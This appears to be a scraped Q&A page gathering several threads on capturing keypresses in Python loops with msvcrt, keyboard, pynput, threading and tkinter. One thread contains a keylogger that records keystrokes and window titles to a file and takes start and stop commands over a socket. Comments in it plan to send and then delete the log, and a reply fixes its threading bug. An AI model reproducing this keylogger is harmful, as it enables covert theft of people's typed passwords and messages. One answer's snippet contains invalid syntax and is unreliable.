The background is to design a program, which is running in an endless loop, to read live data from somewhere. I want this program to be controlled by interactions through keyboard (without 'Enter'). For this purpose I came across the following snippet.
import msvcrt
def keypress():
try:
if msvcrt.kbhit(): #Keyboard hit?
key = msvcrt.getch().decode("utf-8").lower()
return key
except UnicodeDecodeError:
pass
while not False:
print('rainy rainy rain rain')
if keypress() == "e": #e: exit
exit()
if keypress() == "w": # w: wait
waiting = True
while waiting == True:
print("waiting waiting waiting")
if keypress() == "w":
waiting = False
I know its frivolous to call a new endless loop just for waiting, but the crazy thing is the hit of "e" seems to be more often succesful than the hit of the "w". But in every case some few hits aren't even registered by no means at all. -> Is there way this issue can be solved? Windows as well is able to catch every keyboard hit!
while not False:
print('rainy rainy rain rain')
key = keypress()
if key == "e": #e: exit
exit()
if key == "w": # w: wait
waiting = True
while waiting == True:
print("waiting waiting waiting")
if keypress() == "w":
waiting = False
...this little change, solved the problem. I think calling the keypress() [and therefore also the msvcrt.getch() function] takes 'a lot' of time what prevents another keyboard hit from beeing recognized. But why? Shouldn't the hit of key beeing buffered!? And therefore the elapsed time shouldn't matter!?
Related
Once I press "q" it prints this text many times. I want to print it once.
import keyboard
while True:
try:
if keyboard.is_pressed("q"):
print('q pressed')
except:
break
Your current code is constantly repeating check until q is pressed, which is not cpu efficient, and also once the q is pressed is_pressed will always be True - it does not automatically reset.
There is a good example of what you want in the docs. Do something like this:
keyboard.wait('q')
print('q pressed, continue...')
Note that this will block execution until q is pressed, and will continue after that. If you want to repeat process, simply put it inside while loop:
while True
keyboard.wait('q')
print('q pressed, waiting on it again...')
Hi you need to break in your try clause after printing in order for loop to end, just like you did in except;
while True:
try:
if keyboard.is_pressed("q"):
print('q pressed')
break
except:
break
The reason your code repeats is that you do not check for when q is released. this causes the condition if keyboard.is_pressed("q") to run multiple times
to stop this. you need to check for when q is released
for example
import keyboard
is_pressed = False
while True:
try:
if keyboard.is_pressed("q") && not is_pressed:
print('q pressed')
is_pressed = True:
if not keyboard.is_pressed("q"):
is_pressed = False
except:
break
I recently got to know about the python module signal. With that, we can capture a SIGINT and do what we want after capturing it. I used it as below. In that case I am just using SIGINT to print that program is going to be stopped and stop the program.
import signal
import os
import time
def signalHandler(signalnumb, frame):
print("Signal Number:", signalnumb, " Frame: ", frame)
print('Exiting the program...')
os._exit(0)
signal.signal(signal.SIGINT, signalHandler)
c=0
# Loop infinite times using the while(1) which is always true
while 1:
print(c)
#sleep for 1 seconds using the sleep() function in time
time.sleep(1)
c=c+1
Now I want to give any signal from keyboard(for example pressing 'q') and as soon as signal was recieved, the python program should be stopped. Has anyone got some experience on how to do that? Any other method rather than using signal module (for example using multithreading) is accepted.
Edit1-
Later I tried to use pynput module as suggested in one of a similar kind of question. For sure I have done a mistake. It doesn't work as I expected. It means with a key press, I couldn't stop the for loop from running.
from pynput import keyboard
import time
def on_press(key):
for i in range(100):
print(i)
time.sleep(1)
if key == keyboard.Key.esc:
return False # stop listener
try:
k = key.char # single-char keys
except:
k = key.name # other keys
if k in ['1', '2', 'left', 'right']: # keys of interest
# self.keys.append(k) # store it in global-like variable
print('Key pressed: ' + k)
return False # stop listener; remove this if want more keys
listener = keyboard.Listener(on_press=on_press)
listener.start() # start to listen on a separate thread
listener.join() # remove if main thread is polling self.keyspython
Can someone point out how to do it using pynput in correct way?
This was my original implementation:
a = input('Press a key to exit')
if a:
exit(0)
However, it seems that you need a piece of code that will allow for any key to be clicked and immediately exit out of the program, without hitting enter afterwards. This may be a better way to do that:
import readchar
print("Press Any Key To Exit")
k = readchar.readchar()
Hope this helps!
After carefully understanding about the threads and pynput module, I managed to stop a for loop (or any program which runs as a separate thread) using a key press callback.
from pynput import keyboard
import os
import threading
import time
loop_running = False
def on_press(key):
print(dir(key))
global loop_running
#if key == keyboard.Key.delete and not loop_running:
if ('char' in dir(key)) and (key.char == 's') and (not loop_running):
t=threading.Thread(target=start_loop)
t.start()
#elif key==keyboard.Key.tab: #if this is used, the attributes related to 'key' will be changed. you can see them since I have used a print(dir(key))
elif key.char == 'q':
loop_running=False
def start_loop():
global loop_running
loop_running = True
for i in range(100):
if not loop_running:
os._exit(0)
print(i)
time.sleep(1)
with keyboard.Listener(on_press=on_press) as listner:
listner.join()
I am trying to make a keylogger with python sockets[educational purposes only of course]. But my question is: when I send from server to client the command activate keylogger, it will start the keylogger. But when I am finished with keylogging how can I send a 'stop keylogging' command to the slave to stop the keylogging. I was thinking of threading but really dont know what I could do with it. this is the "failing" code I made:
def mainkeylogg():
stopmess = "GO"
while stopmess == "GO":
tmpwnm = GetWindowText(GetForegroundWindow()) # get the window name .
Key = read_key();
read_key() # get key .
if len(Key) >= 2:
open("Log.txt", "a").write( # MAYBE CHANGE 'A' TO 'WB'
(f"[{tmpwnm}][{Key}]\n")) # (if user press special key) save the key with window name
else:
open("Log.txt", "a").write((f"{Key}"))
print("STOPPED THREAD")
t = threading.Thread(target=mainkeylogg)
t.start()
stopmess = (conn.recv(1024)).decode() # CAUSES THE WHILE LOOP TO CLOSE?? DOESN'T WORK
if stopmess == "STOP":
print("STOPPED")
message = "DONE"
conn.send(message.encode())
EDIT(working correct code for future people seeing this):
def mainkeylogg():
global dead
dead = False
while not dead:
tmpwnm = GetWindowText(GetForegroundWindow()) # get the window name .
Key = read_key();
read_key() # get key .
if len(Key) >= 2:
open("Log.txt", "a").write( # MAYBE CHANGE 'A' TO 'WB'
(f"[{tmpwnm}][{Key}]\n")) # (if user press special key) save the key with window name
else:
open("Log.txt", "a").write((f"{Key}"))
print("STOPPED THREAD")
t = threading.Thread(target=mainkeylogg)
t.start()
message = "STARTED KEYLOGGER"
conn.send(message.encode())
def stopkeylogger():
stopmess = (conn.recv(1024)).decode()
global dead
if stopmess == "STOP":
print("STOPPED")
dead = True
message = "STOPPED KEYLOGGER"
conn.send(message.encode())
#SEND LOG FILE
# DELETE LOG FILE
else:
print("DIDNT STOP")
message = "ERROR, DID NOT STOP KEYLOGGER"
conn.send(message.encode())
The biggest problem you have is here:
t = threading.Thread(target-mainkeylogg())
Because you added the parens, that's going to call the function immediately, in the main thread. That function won't ever return, so you don't even get to create the Thread object, much less flow on to the socket stuff. Replace that with
t = threading.Thread(target=mainkeylogg)
Pass the function, NOT the result of the function.
Beyond that, as long as you spell stopmes the same way every time (which you haven't here), the basic concept is fine. Your main thread will block waiting for word from the socket. Assuming the server actually sends "GO" as two letters without a newline, it should work.
So I'm trying to utilize msvcrt.getch() to make an option to quit(without using KeyBoardInterrupt) anywhere in the program.
My code currently looks like this:
import msvcrt
import sys
print("Press q at any time to quit")
while True:
pressedKey = msvcrt.getch()
if pressedKey == 'q':
sys.exit()
else:
# do some setup
if myvar == "string":
try:
# do stuff
except:
# do stuff
else:
#do stuff
How do I run the while loop to detect the keypress of q at the same time as I'm running the other (the # do stuff blocks)?
That way, if the user goes ahead with the program, they it'll only run it once. But if they hit q, then the program will quit.
You could read keys in a separate thread or (better) use msvcrt.kbhit() as #martineau suggested:
#!/usr/bin/env python
import msvcrt
from Queue import Empty, Queue
from threading import Thread
def read_keys(queue):
for key in iter(msvcrt.getch, 'q'): # until `q`
queue.put(key)
queue.put(None) # signal the end
q = Queue()
t = Thread(target=read_keys, args=[q])
t.daemon = True # die if the program exits
t.start()
while True:
try:
key = q.get_nowait() # doesn't block
except Empty:
key = Empty
else:
if key is None: # end
break
# do stuff
If I wanted to do something in the main code when the second thread detected a certain keypress, how would I act on that?
You do not react to the key press in the main thread until code reaches q.get_nowait() again i.e., you won't notice the key press until "do stuff" finishes the current iteration of the loop. If you need to do something that may take a long time then you might need to run it in yet another thread (start new thread or use a thread pool if blocking at some point is acceptable).
I am making a snake game which requires the player to press the WASD keys without stopping the game process to to get input from player. So I can't use input() for this situation because then the game stops ticking to get input.
I found a getch() function which immediately gives input without pressing enter, but this function also stops game ticking to get input like input(). I decided to use threading module to get input via getch() in different thread. The problem is that getch() isn't working while in different thread and I'm not sure why.
import threading, time
from msvcrt import getch
key = "lol" #it never changes because getch() in thread1 is useless
def thread1():
while True:
key = getch() #this simply is almost ignored by interpreter, the only thing it
#gives is that delays print() unless you press any key
print("this is thread1()")
threading.Thread(target = thread1).start()
while True:
time.sleep(1)
print(key)
So why getch() is useless when it is in thread1()?
The problem was that you're creating a local variable key inside thread1 instead of overwriting the existing one. The quick-and-easy solution would be to declare key to be global inside thread1.
Finally, you should consider using locks. I don't know if it's necessary or not, but I'd imagine weird things could happen if you try and write a value to key in the thread while printing it out at the same time.
The working code:
import threading, time
from msvcrt import getch
key = "lol"
def thread1():
global key
lock = threading.Lock()
while True:
with lock:
key = getch()
threading.Thread(target = thread1).start()
while True:
time.sleep(1)
print(key)
I tried using getch but it didn't work for me... (win7 here).
You can try using tkinter module // but I still can't make it running with threads
# Respond to a key without the need to press enter
import tkinter as tk #on python 2.x use "import Tkinter as tk"
def keypress(event):
if event.keysym == 'Escape':
root.destroy()
x = event.char
if x == "w":
print ("W pressed")
elif x == "a":
print ("A pressed")
elif x == "s":
print ("S pressed")
elif x == "d":
print ("D pressed")
else:
print (x)
root = tk.Tk()
print ("Press a key (Escape key to exit):")
root.bind_all('<Key>', keypress)
# don't show the tk window
root.withdraw()
root.mainloop()
As Michael0x2a says you may try using library made for game-making - pygame or pyglet.
#EDIT #Michael0x2a:
Are you sure your code works?
Whatever I press it always prints the same key.
#EDIT2:
Thanks!